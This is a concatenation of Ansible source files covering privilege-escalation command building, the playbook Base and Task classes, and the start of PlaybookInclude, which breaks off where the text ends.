            success_cmd = pipes.quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or \
                  getattr(self, '%s_exe' % self.become_method, None) or \
                  C.DEFAULT_BECOME_EXE or \
                  getattr(C, 'DEFAULT_%s_EXE' % self.become_method.upper(), None) or \
                  self.become_method

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or \
                    getattr(self, '%s_flags' % self.become_method, None) or \
                    C.DEFAULT_BECOME_FLAGS or \
                    getattr(C, 'DEFAULT_%s_FLAGS' % self.become_method.upper(), None) or \
                    ''

            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with pipes.quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p "%s" -u %s %s' % (exe,  flags.replace('-n',''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)


            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(data):
                    SU_PROMPT_LOCALIZATIONS_RE = re.compile("|".join(['(\w+\'s )?' + x + ' ?: ?' for x in SU_PROMPT_LOCALIZATIONS]), flags=re.IGNORECASE)
                    return bool(SU_PROMPT_LOCALIZATIONS_RE.match(data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, pipes.quote(command))

            elif self.become_method == 'pbrun':

                prompt='assword:'
                becomecmd = '%s -b %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s "%s"' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                raise AnsibleError("'runas' is not yet implemented")
                #FIXME: figure out prompt
                # this is not for use with winrm plugin but if they ever get ssh native on windoez
                becomecmd = '%s %s /user:%s "%s"' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'doas':

                prompt = 'Password:'
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                #FIXME: make shell independant
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'

                becomecmd = '%s -u %s %s' % (exe, self.become_user, command)

            else:
                raise AnsibleError("Privilege escalation method not found: %s" % self.become_method)

            if self.become_pass:
                self.prompt = prompt
            self.success_key = success_key
            return becomecmd

        return cmd

    def update_vars(self, variables):
        '''
        Adds 'magic' variables relating to connections to the variable dictionary provided.
        In case users need to access from the play, this is a legacy from runner.
        '''

        for prop, var_list in MAGIC_VARIABLE_MAPPING.items():
            try:
                if 'become' in prop:
                    continue

                var_val = getattr(self, prop)
                for var_opt in var_list:
                    if var_opt not in variables and var_val is not None:
                        variables[var_opt] = var_val
            except AttributeError:
                continue






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import collections
import itertools
import operator
import uuid

from functools import partial
from inspect import getmembers

from ansible.compat.six import iteritems, string_types

from jinja2.exceptions import UndefinedError

from ansible.errors import AnsibleParserError, AnsibleUndefinedVariable
from ansible.parsing.dataloader import DataLoader
from ansible.playbook.attribute import Attribute, FieldAttribute
from ansible.utils.boolean import boolean
from ansible.utils.vars import combine_vars, isidentifier
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

BASE_ATTRIBUTES = {}


class Base:

    # connection/transport
    _connection          = FieldAttribute(isa='string')
    _port                = FieldAttribute(isa='int')
    _remote_user         = FieldAttribute(isa='string')

    # variables
    _vars                = FieldAttribute(isa='dict', priority=100)

    # flags and misc. settings
    _environment         = FieldAttribute(isa='list')
    _no_log              = FieldAttribute(isa='bool')
    _always_run          = FieldAttribute(isa='bool')
    _run_once            = FieldAttribute(isa='bool')
    _ignore_errors       = FieldAttribute(isa='bool')
    _check_mode          = FieldAttribute(isa='bool')

    # param names which have been deprecated/removed
    DEPRECATED_ATTRIBUTES = [
        'sudo', 'sudo_user', 'sudo_pass', 'sudo_exe', 'sudo_flags',
        'su', 'su_user', 'su_pass', 'su_exe', 'su_flags',
    ]

    def __init__(self):

        # initialize the data loader and variable manager, which will be provided
        # later when the object is actually loaded
        self._loader = None
        self._variable_manager = None

        # other internal params
        self._validated = False
        self._finalized = False

        # every object gets a random uuid:
        self._uuid = uuid.uuid4()

        # and initialize the base attributes
        self._initialize_base_attributes()

        self._cached_parent_attrs = dict()

        # and init vars, avoid using defaults in field declaration as it lives across plays
        self.vars = dict()


    # The following three functions are used to programatically define data
    # descriptors (aka properties) for the Attributes of all of the playbook
    # objects (tasks, blocks, plays, etc).
    #
    # The function signature is a little strange because of how we define
    # them.  We use partial to give each method the name of the Attribute that
    # it is for.  Since partial prefills the positional arguments at the
    # beginning of the function we end up with the first positional argument
    # being allocated to the name instead of to the class instance (self) as
    # normal.  To deal with that we make the property name field the first
    # positional argument and self the second arg.
    #
    # Because these methods are defined inside of the class, they get bound to
    # the instance when the object is created.  After we run partial on them
    # and put the result back into the class as a property, they get bound
    # a second time.  This leads to self being  placed in the arguments twice.
    # To work around that, we mark the functions as @staticmethod so that the
    # first binding to the instance doesn't happen.

    @staticmethod
    def _generic_g(prop_name, self):
        method = "_get_attr_%s" % prop_name
        try:
            value = getattr(self, method)()
        except AttributeError:
            try:
                value = self._attributes[prop_name]
                if value is None and not self._finalized:
                    try:
                        if prop_name in self._cached_parent_attrs:
                            value = self._cached_parent_attrs[prop_name]
                        else:
                            value = self._get_parent_attribute(prop_name)
                            # FIXME: temporarily disabling due to bugs
                            #self._cached_parent_attrs[prop_name] = value
                    except AttributeError:
                        pass
            except KeyError:
                raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__.__name__, prop_name))

        return value

    @staticmethod
    def _generic_s(prop_name, self, value):
        self._attributes[prop_name] = value

    @staticmethod
    def _generic_d(prop_name, self):
        del self._attributes[prop_name]

    def _get_base_attributes(self):
        '''
        Returns the list of attributes for this class (or any subclass thereof).
        If the attribute name starts with an underscore, it is removed
        '''

        # check cache before retrieving attributes
        if self.__class__.__name__ in BASE_ATTRIBUTES:
            return BASE_ATTRIBUTES[self.__class__.__name__]

        # Cache init
        base_attributes = dict()
        for (name, value) in getmembers(self.__class__):
            if isinstance(value, Attribute):
                if name.startswith('_'):
                    name = name[1:]
                base_attributes[name] = value
        BASE_ATTRIBUTES[self.__class__.__name__] = base_attributes
        return base_attributes

    def dump_me(self, depth=0):
        if depth == 0:
            print("DUMPING OBJECT ------------------------------------------------------")
        print("%s- %s (%s, id=%s)" % (" " * depth, self.__class__.__name__, self, id(self)))
        if hasattr(self, '_parent') and self._parent:
            self._parent.dump_me(depth+2)
            dep_chain = self._parent.get_dep_chain()
            #print("%s^ dep chain: %s" % (" "*(depth+2), dep_chain))
            if dep_chain:
                for dep in dep_chain:
                    dep.dump_me(depth+2)
        if hasattr(self, '_play') and self._play:
            self._play.dump_me(depth+2)

    def _initialize_base_attributes(self):
        # each class knows attributes set upon it, see Task.py for example
        self._attributes = dict()

        for (name, value) in self._get_base_attributes().items():
            getter = partial(self._generic_g, name)
            setter = partial(self._generic_s, name)
            deleter = partial(self._generic_d, name)

            # Place the property into the class so that cls.name is the
            # property functions.
            setattr(Base, name, property(getter, setter, deleter))

            # Place the value into the instance so that the property can
            # process and hold that value.
            setattr(self, name, value.default)

    def preprocess_data(self, ds):
        ''' infrequently used method to do some pre-processing of legacy terms '''

        for base_class in self.__class__.mro():
            method = getattr(self, "_preprocess_data_%s" % base_class.__name__.lower(), None)
            if method:
                return method(ds)
        return ds

    def load_data(self, ds, variable_manager=None, loader=None):
        ''' walk the input datastructure and assign any values '''

        assert ds is not None

        # cache the datastructure internally
        setattr(self, '_ds', ds)

        # the variable manager class is used to manage and merge variables
        # down to a single dictionary for reference in templating, etc.
        self._variable_manager = variable_manager

        # the data loader class is used to parse data from strings and files
        if loader is not None:
            self._loader = loader
        else:
            self._loader = DataLoader()

        # call the preprocess_data() function to massage the data into
        # something we can more easily parse, and then call the validation
        # function on it to ensure there are no incorrect key values
        ds = self.preprocess_data(ds)
        self._validate_attributes(ds)

        # Walk all attributes in the class. We sort them based on their priority
        # so that certain fields can be loaded before others, if they are dependent.
        base_attributes = self._get_base_attributes()
        for name, attr in sorted(base_attributes.items(), key=operator.itemgetter(1)):
            # copy the value over unless a _load_field method is defined
            if name in ds:
                method = getattr(self, '_load_%s' % name, None)
                if method:
                    self._attributes[name] = method(name, ds[name])
                else:
                    self._attributes[name] = ds[name]

        # run early, non-critical validation
        self.validate()

        # return the constructed object
        return self

    def get_ds(self):
        try:
            return getattr(self, '_ds')
        except AttributeError:
            return None

    def get_loader(self):
        return self._loader

    def get_variable_manager(self):
        return self._variable_manager

    def _validate_attributes(self, ds):
        '''
        Ensures that there are no keys in the datastructure which do
        not map to attributes for this object.
        '''

        valid_attrs = frozenset(name for name in self._get_base_attributes())
        for key in ds:
            if key not in valid_attrs:
                raise AnsibleParserError("'%s' is not a valid attribute for a %s" % (key, self.__class__.__name__), obj=ds)

    def validate(self, all_vars=dict()):
        ''' validation that is done at parse time, not load time '''

        if not self._validated:
            # walk all fields in the object
            for (name, attribute) in iteritems(self._get_base_attributes()):

                # run validator only if present
                method = getattr(self, '_validate_%s' % name, None)
                if method:
                    method(attribute, name, getattr(self, name))
                else:
                    # and make sure the attribute is of the type it should be
                    value = getattr(self, name)
                    if value is not None:
                        if attribute.isa == 'string' and isinstance(value, (list, dict)):
                            raise AnsibleParserError(
                                "The field '%s' is supposed to be a string type,"
                                " however the incoming data structure is a %s" % (name, type(value)), obj=self.get_ds()
                            )

        self._validated = True

    def copy(self):
        '''
        Create a copy of this object and return it.
        '''

        new_me = self.__class__()

        for name in self._get_base_attributes():
            attr_val = getattr(self, name)
            if isinstance(attr_val, collections.Sequence):
                setattr(new_me, name, attr_val[:])
            elif isinstance(attr_val, collections.Mapping):
                setattr(new_me, name, attr_val.copy())
            else:
                setattr(new_me, name, attr_val)

        new_me._loader = self._loader
        new_me._variable_manager = self._variable_manager
        new_me._validated = self._validated
        new_me._finalized = self._finalized
        new_me._uuid = self._uuid

        # if the ds value was set on the object, copy it to the new copy too
        if hasattr(self, '_ds'):
            new_me._ds = self._ds

        return new_me

    def post_validate(self, templar):
        '''
        we can't tell that everything is of the right type until we have
        all the variables.  Run basic types (from isa) as well as
        any _post_validate_<foo> functions.
        '''

        # save the omit value for later checking
        omit_value = templar._available_variables.get('omit')

        for (name, attribute) in iteritems(self._get_base_attributes()):

            if getattr(self, name) is None:
                if not attribute.required:
                    continue
                else:
                    raise AnsibleParserError("the field '%s' is required but was not set" % name)
            elif not attribute.always_post_validate and self.__class__.__name__ not in ('Task', 'Handler', 'PlayContext'):
                # Intermediate objects like Play() won't have their fields validated by
                # default, as their values are often inherited by other objects and validated
                # later, so we don't want them to fail out early
                continue

            try:
                # Run the post-validator if present. These methods are responsible for
                # using the given templar to template the values, if required.
                method = getattr(self, '_post_validate_%s' % name, None)
                if method:
                    value = method(attribute, getattr(self, name), templar)
                elif attribute.isa == 'class':
                    value = getattr(self, name)
                else:
                    # if the attribute contains a variable, template it now
                    value = templar.template(getattr(self, name))

                # if this evaluated to the omit value, set the value back to
                # the default specified in the FieldAttribute and move on
                if omit_value is not None and value == omit_value:
                    setattr(self, name, attribute.default)
                    continue

                # and make sure the attribute is of the type it should be
                if value is not None:
                    if attribute.isa == 'string':
                        value = to_unicode(value)
                    elif attribute.isa == 'int':
                        value = int(value)
                    elif attribute.isa == 'float':
                        value = float(value)
                    elif attribute.isa == 'bool':
                        value = boolean(value)
                    elif attribute.isa == 'percent':
                        # special value, which may be an integer or float
                        # with an optional '%' at the end
                        if isinstance(value, string_types) and '%' in value:
                            value = value.replace('%', '')
                        value = float(value)
                    elif attribute.isa in ('list', 'barelist'):
                        if value is None:
                            value = []
                        elif not isinstance(value, list):
                            if isinstance(value, string_types) and attribute.isa == 'barelist':
                                display.deprecated(
                                    "Using comma separated values for a list has been deprecated. " \
                                    "You should instead use the correct YAML syntax for lists. " \
                                )
                                value = value.split(',')
                            else:
                                value = [ value ]
                        if attribute.listof is not None:
                            for item in value:
                                if not isinstance(item, attribute.listof):
                                    raise AnsibleParserError("the field '%s' should be a list of %s,"
                                            " but the item '%s' is a %s" % (name, attribute.listof, item, type(item)), obj=self.get_ds())
                                elif attribute.required and attribute.listof == string_types:
                                    if item is None or item.strip() == "":
                                        raise AnsibleParserError("the field '%s' is required, and cannot have empty values" % (name,), obj=self.get_ds())
                    elif attribute.isa == 'set':
                        if value is None:
                            value = set()
                        elif not isinstance(value, (list, set)):
                            if isinstance(value, string_types):
                                value = value.split(',')
                            else:
                                # Making a list like this handles strings of
                                # text and bytes properly
                                value = [ value ]
                        if not isinstance(value, set):
                            value = set(value)
                    elif attribute.isa == 'dict':
                        if value is None:
                            value = dict()
                        elif not isinstance(value, dict):
                            raise TypeError("%s is not a dictionary" % value)
                    elif attribute.isa == 'class':
                        if not isinstance(value, attribute.class_type):
                            raise TypeError("%s is not a valid %s (got a %s instead)" % (name, attribute.class_type, type(value)))
                        value.post_validate(templar=templar)

                # and assign the massaged value back to the attribute field
                setattr(self, name, value)

            except (TypeError, ValueError) as e:
                raise AnsibleParserError("the field '%s' has an invalid value (%s), and could not be converted to an %s."
                        " Error was: %s" % (name, value, attribute.isa, e), obj=self.get_ds())
            except (AnsibleUndefinedVariable, UndefinedError) as e:
                if templar._fail_on_undefined_errors and name != 'name':
                    raise AnsibleParserError("the field '%s' has an invalid value, which appears to include a variable that is undefined."
                            " The error was: %s" % (name,e), obj=self.get_ds())

        self._finalized = True

    def serialize(self):
        '''
        Serializes the object derived from the base object into
        a dictionary of values. This only serializes the field
        attributes for the object, so this may need to be overridden
        for any classes which wish to add additional items not stored
        as field attributes.
        '''

        repr = dict()

        for name in self._get_base_attributes():
            repr[name] = getattr(self, name)

        # serialize the uuid field
        repr['uuid'] = getattr(self, '_uuid')

        return repr

    def deserialize(self, data):
        '''
        Given a dictionary of values, load up the field attributes for
        this object. As with serialize(), if there are any non-field
        attribute data members, this method will need to be overridden
        and extended.
        '''

        assert isinstance(data, dict)

        for (name, attribute) in iteritems(self._get_base_attributes()):
            if name in data:
                setattr(self, name, data[name])
            else:
                setattr(self, name, attribute.default)

        # restore the UUID field
        setattr(self, '_uuid', data.get('uuid'))

    def _load_vars(self, attr, ds):
        '''
        Vars in a play can be specified either as a dictionary directly, or
        as a list of dictionaries. If the later, this method will turn the
        list into a single dictionary.
        '''

        def _validate_variable_keys(ds):
            for key in ds:
                if not isidentifier(key):
                    raise TypeError("'%s' is not a valid variable name" % key)

        try:
            if isinstance(ds, dict):
                _validate_variable_keys(ds)
                return ds
            elif isinstance(ds, list):
                all_vars = dict()
                for item in ds:
                    if not isinstance(item, dict):
                        raise ValueError
                    _validate_variable_keys(item)
                    all_vars = combine_vars(all_vars, item)
                return all_vars
            elif ds is None:
                return {}
            else:
                raise ValueError
        except ValueError:
            raise AnsibleParserError("Vars in a %s must be specified as a dictionary, or a list of dictionaries" % self.__class__.__name__, obj=ds)
        except TypeError as e:
            raise AnsibleParserError("Invalid variable name in vars specified for %s: %s" % (self.__class__.__name__, e), obj=ds)

    def _extend_value(self, value, new_value):
        '''
        Will extend the value given with new_value (and will turn both
        into lists if they are not so already). The values are run through
        a set to remove duplicate values.
        '''

        if not isinstance(value, list):
            value = [ value ]
        if not isinstance(new_value, list):
            new_value = [ new_value ]

        #return list(set(value + new_value))
        return [i for i,_ in itertools.groupby(value + new_value) if i is not None]

    def __getstate__(self):
        return self.serialize()

    def __setstate__(self, data):
        self.__init__()
        self.deserialize(data)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.six import iteritems, string_types

from ansible.errors import AnsibleError, AnsibleParserError

from ansible.parsing.mod_args import ModuleArgsParser
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject, AnsibleMapping, AnsibleUnicode

from ansible.plugins import lookup_loader
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.become import Become
from ansible.playbook.block import Block
from ansible.playbook.conditional import Conditional
from ansible.playbook.loop_control import LoopControl
from ansible.playbook.role import Role
from ansible.playbook.taggable import Taggable

from ansible.utils.unicode import to_str

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['Task']


class Task(Base, Conditional, Taggable, Become):

    """
    A task is a language feature that represents a call to a module, with given arguments and other parameters.
    A handler is a subclass of a task.

    Usage:

       Task.load(datastructure) -> Task
       Task.something(...)
    """

    # =================================================================================
    # ATTRIBUTES
    # load_<attribute_name> and
    # validate_<attribute_name>
    # will be used if defined
    # might be possible to define others

    _args                 = FieldAttribute(isa='dict', default=dict())
    _action               = FieldAttribute(isa='string')

    _any_errors_fatal     = FieldAttribute(isa='bool')
    _async                = FieldAttribute(isa='int', default=0)
    _changed_when         = FieldAttribute(isa='list', default=[])
    _delay                = FieldAttribute(isa='int', default=5)
    _delegate_to          = FieldAttribute(isa='string')
    _delegate_facts       = FieldAttribute(isa='bool', default=False)
    _failed_when          = FieldAttribute(isa='list', default=[])
    _first_available_file = FieldAttribute(isa='list')
    _loop                 = FieldAttribute(isa='string', private=True)
    _loop_args            = FieldAttribute(isa='list', private=True)
    _loop_control         = FieldAttribute(isa='class', class_type=LoopControl)
    _name                 = FieldAttribute(isa='string', default='')
    _notify               = FieldAttribute(isa='list')
    _poll                 = FieldAttribute(isa='int')
    _register             = FieldAttribute(isa='string')
    _retries              = FieldAttribute(isa='int')
    _until                = FieldAttribute(isa='list', default=[])

    def __init__(self, block=None, role=None, task_include=None):
        ''' constructors a task, without the Task.load classmethod, it will be pretty blank '''

        self._role   = role
        self._parent = None

        if task_include:
            self._parent = task_include
        else:
            self._parent = block

        super(Task, self).__init__()

    def get_path(self):
        ''' return the absolute path of the task with its line number '''

        path = ""
        if hasattr(self, '_ds') and hasattr(self._ds, '_data_source') and hasattr(self._ds, '_line_number'):
            path = "%s:%s" % (self._ds._data_source, self._ds._line_number)
        return path

    def get_name(self):
        ''' return the name of the task '''

        if self._role and self.name and ("%s : " % self._role._role_name) not in self.name:
            return "%s : %s" % (self._role.get_name(), self.name)
        elif self.name:
            return self.name
        else:
            if self._role:
                return "%s : %s" % (self._role.get_name(), self.action)
            else:
                return "%s" % (self.action,)

    def _merge_kv(self, ds):
        if ds is None:
            return ""
        elif isinstance(ds, string_types):
            return ds
        elif isinstance(ds, dict):
            buf = ""
            for (k,v) in iteritems(ds):
                if k.startswith('_'):
                    continue
                buf = buf + "%s=%s " % (k,v)
            buf = buf.strip()
            return buf

    @staticmethod
    def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None):
        t = Task(block=block, role=role, task_include=task_include)
        return t.load_data(data, variable_manager=variable_manager, loader=loader)

    def __repr__(self):
        ''' returns a human readable representation of the task '''
        if self.get_name() == 'meta':
            return "TASK: meta (%s)" % self.args['_raw_params']
        else:
            return "TASK: %s" % self.get_name()

    def _preprocess_loop(self, ds, new_ds, k, v):
        ''' take a lookup plugin name and store it correctly '''

        loop_name = k.replace("with_", "")
        if new_ds.get('loop') is not None:
            raise AnsibleError("duplicate loop in task: %s" % loop_name, obj=ds)
        if v is None:
            raise AnsibleError("you must specify a value when using %s" % k, obj=ds)
        new_ds['loop'] = loop_name
        new_ds['loop_args'] = v

    def preprocess_data(self, ds):
        '''
        tasks are especially complex arguments so need pre-processing.
        keep it short.
        '''

        assert isinstance(ds, dict)

        # the new, cleaned datastructure, which will have legacy
        # items reduced to a standard structure suitable for the
        # attributes of the task class
        new_ds = AnsibleMapping()
        if isinstance(ds, AnsibleBaseYAMLObject):
            new_ds.ansible_pos = ds.ansible_pos

        # use the args parsing class to determine the action, args,
        # and the delegate_to value from the various possible forms
        # supported as legacy
        args_parser = ModuleArgsParser(task_ds=ds)
        try:
            (action, args, delegate_to) = args_parser.parse()
        except AnsibleParserError as e:
            raise AnsibleParserError(to_str(e), obj=ds)

        # the command/shell/script modules used to support the `cmd` arg,
        # which corresponds to what we now call _raw_params, so move that
        # value over to _raw_params (assuming it is empty)
        if action in ('command', 'shell', 'script'):
            if 'cmd' in args:
                if args.get('_raw_params', '') != '':
                    raise AnsibleError("The 'cmd' argument cannot be used when other raw parameters are specified."
                            " Please put everything in one or the other place.", obj=ds)
                args['_raw_params'] = args.pop('cmd')

        new_ds['action']      = action
        new_ds['args']        = args
        new_ds['delegate_to'] = delegate_to

        # we handle any 'vars' specified in the ds here, as we may
        # be adding things to them below (special handling for includes).
        # When that deprecated feature is removed, this can be too.
        if 'vars' in ds:
            # _load_vars is defined in Base, and is used to load a dictionary
            # or list of dictionaries in a standard way
            new_ds['vars'] = self._load_vars(None, ds.get('vars'))
        else:
            new_ds['vars'] = dict()

        for (k,v) in iteritems(ds):
            if k in ('action', 'local_action', 'args', 'delegate_to') or k == action or k == 'shell':
                # we don't want to re-assign these values, which were
                # determined by the ModuleArgsParser() above
                continue
            elif k.replace("with_", "") in lookup_loader:
                self._preprocess_loop(ds, new_ds, k, v)
            else:
                # pre-2.0 syntax allowed variables for include statements at the
                # top level of the task, so we move those into the 'vars' dictionary
                # here, and show a deprecation message as we will remove this at
                # some point in the future.
                if action == 'include' and k not in self._get_base_attributes() and k not in self.DEPRECATED_ATTRIBUTES:
                    display.deprecated("Specifying include variables at the top-level of the task is deprecated."
                            " Please see:\nhttp://docs.ansible.com/ansible/playbooks_roles.html#task-include-files-and-encouraging-reuse\n\n"
                            " for currently supported syntax regarding included files and variables")
                    new_ds['vars'][k] = v
                else:
                    new_ds[k] = v

        return super(Task, self).preprocess_data(new_ds)

    def _load_loop_control(self, attr, ds):
        if not isinstance(ds, dict):
           raise AnsibleParserError(
               "the `loop_control` value must be specified as a dictionary and cannot " \
               "be a variable itself (though it can contain variables)",
               obj=ds,
           )

        return LoopControl.load(data=ds, variable_manager=self._variable_manager, loader=self._loader)

    def post_validate(self, templar):
        '''
        Override of base class post_validate, to also do final validation on
        the block and task include (if any) to which this task belongs.
        '''

        if self._parent:
            self._parent.post_validate(templar)

        super(Task, self).post_validate(templar)

    def _post_validate_loop_args(self, attr, value, templar):
        '''
        Override post validation for the loop args field, which is templated
        specially in the TaskExecutor class when evaluating loops.
        '''
        return value

    def _post_validate_environment(self, attr, value, templar):
        '''
        Override post validation of vars on the play, as we don't want to
        template these too early.
        '''
        if value is None:
            return dict()

        elif isinstance(value, list):
            if  len(value) == 1:
                return templar.template(value[0], convert_bare=True)
            else:
                env = []
                for env_item in value:
                    if isinstance(env_item, (string_types, AnsibleUnicode)) and env_item in templar._available_variables.keys():
                        env[env_item] =  templar.template(env_item, convert_bare=True)
        elif isinstance(value, dict):
            env = dict()
            for env_item in value:
                if isinstance(env_item, (string_types, AnsibleUnicode)) and env_item in templar._available_variables.keys():
                    env[env_item] =  templar.template(value[env_item], convert_bare=True)

        # at this point it should be a simple string
        return templar.template(value, convert_bare=True)

    def _post_validate_changed_when(self, attr, value, templar):
        '''
        changed_when is evaluated after the execution of the task is complete,
        and should not be templated during the regular post_validate step.
        '''
        return value

    def _post_validate_failed_when(self, attr, value, templar):
        '''
        failed_when is evaluated after the execution of the task is complete,
        and should not be templated during the regular post_validate step.
        '''
        return value

    def _post_validate_until(self, attr, value, templar):
        '''
        until is evaluated after the execution of the task is complete,
        and should not be templated during the regular post_validate step.
        '''
        return value

    def get_vars(self):
        all_vars = dict()
        if self._parent:
            all_vars.update(self._parent.get_vars())

        all_vars.update(self.vars)

        if 'tags' in all_vars:
            del all_vars['tags']
        if 'when' in all_vars:
            del all_vars['when']

        return all_vars

    def get_include_params(self):
        all_vars = dict()
        if self._parent:
            all_vars.update(self._parent.get_include_params())
        if self.action == 'include':
            all_vars.update(self.vars)
        return all_vars

    def copy(self, exclude_parent=False, exclude_tasks=False):
        new_me = super(Task, self).copy()

        new_me._parent = None
        if self._parent and not exclude_parent:
            new_me._parent = self._parent.copy(exclude_tasks=exclude_tasks)

        new_me._role = None
        if self._role:
            new_me._role = self._role

        return new_me

    def serialize(self):
        data = super(Task, self).serialize()

        if self._parent:
            data['parent'] = self._parent.serialize()
            data['parent_type'] = self._parent.__class__.__name__

        if self._role:
            data['role'] = self._role.serialize()

        return data

    def deserialize(self, data):

        # import is here to avoid import loops
        from ansible.playbook.task_include import TaskInclude
        from ansible.playbook.handler_task_include import HandlerTaskInclude

        parent_data = data.get('parent', None)
        if parent_data:
            parent_type = data.get('parent_type')
            if parent_type == 'Block':
                p = Block()
            elif parent_type == 'TaskInclude':
                p = TaskInclude()
            elif parent_type == 'HandlerTaskInclude':
                p = HandlerTaskInclude()
            p.deserialize(parent_data)
            self._parent = p
            del data['parent']

        role_data = data.get('role')
        if role_data:
            r = Role()
            r.deserialize(role_data)
            self._role = r
            del data['role']

        super(Task, self).deserialize(data)

    def evaluate_conditional(self, templar, all_vars):
        if self._parent is not None:
            if not self._parent.evaluate_conditional(templar, all_vars):
                return False
        return super(Task, self).evaluate_conditional(templar, all_vars)

    def set_loader(self, loader):
        '''
        Sets the loader on this object and recursively on parent, child objects.
        This is used primarily after the Task has been serialized/deserialized, which
        does not preserve the loader.
        '''

        self._loader = loader

        if self._parent:
            self._parent.set_loader(loader)

    def _get_parent_attribute(self, attr, extend=False):
        '''
        Generic logic to get the attribute or parent attribute for a task value.
        '''
        value = None
        try:
            value = self._attributes[attr]

            if self._parent and (value is None or extend):
                parent_value = getattr(self._parent, attr, None)
                if extend:
                    value = self._extend_value(value, parent_value)
                else:
                    value = parent_value
        except KeyError:
            pass

        return value

    def _get_attr_environment(self):
        '''
        Override for the 'tags' getattr fetcher, used from Base.
        '''
        environment = self._attributes['environment']
        parent_environment = self._get_parent_attribute('environment', extend=True)
        if parent_environment is not None:
            environment = self._extend_value(environment, parent_environment)
        return environment

    def _get_attr_any_errors_fatal(self):
        '''
        Override for the 'tags' getattr fetcher, used from Base.
        '''
        return self._get_parent_attribute('any_errors_fatal')

    def _get_attr_loop(self):
        return self._attributes['loop']

    def _get_attr_loop_control(self):
        return self._attributes['loop_control']

    def get_dep_chain(self):
        if self._parent:
            return self._parent.get_dep_chain()
        else:
            return None

    def get_search_path(self):
        '''
        Return the list of paths you should search for files, in order.
        This follows role/playbook dependency chain.
        '''
        path_stack = []

        dep_chain =  self.get_dep_chain()
        # inside role: add the dependency chain from current to dependant
        if dep_chain:
            path_stack.extend(reversed([x._role_path for x in dep_chain]))

        # add path of task itself, unless it is already in the list
        task_dir = os.path.dirname(self.get_path())
        if task_dir not in path_stack:
            path_stack.append(task_dir)

        return path_stack

    def all_parents_static(self):
        if self._parent:
            return self._parent.all_parents_static()
        return True







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

from ansible.compat.six import iteritems
from ansible.errors import AnsibleParserError, AnsibleError
from ansible.parsing.splitter import split_args, parse_kv
from ansible.parsing.yaml.objects import AnsibleBaseYAMLObject, AnsibleMapping
from ansible.playbook.attribute import FieldAttribute
from ansible.playbook.base import Base
from ansible.playbook.conditional import Conditional
from ansible.playbook.taggable import Taggable
from ansible.template import Templar

class PlaybookInclude(Base, Conditional, Taggable):

    _name      = FieldAttribute(isa='string')
    _include   = FieldAttribute(isa='string')
    _vars      = FieldAttribute(isa='dict', default=dict())

    @staticmethod
    def load(data, basedir, variable_manager=None, loader=None):
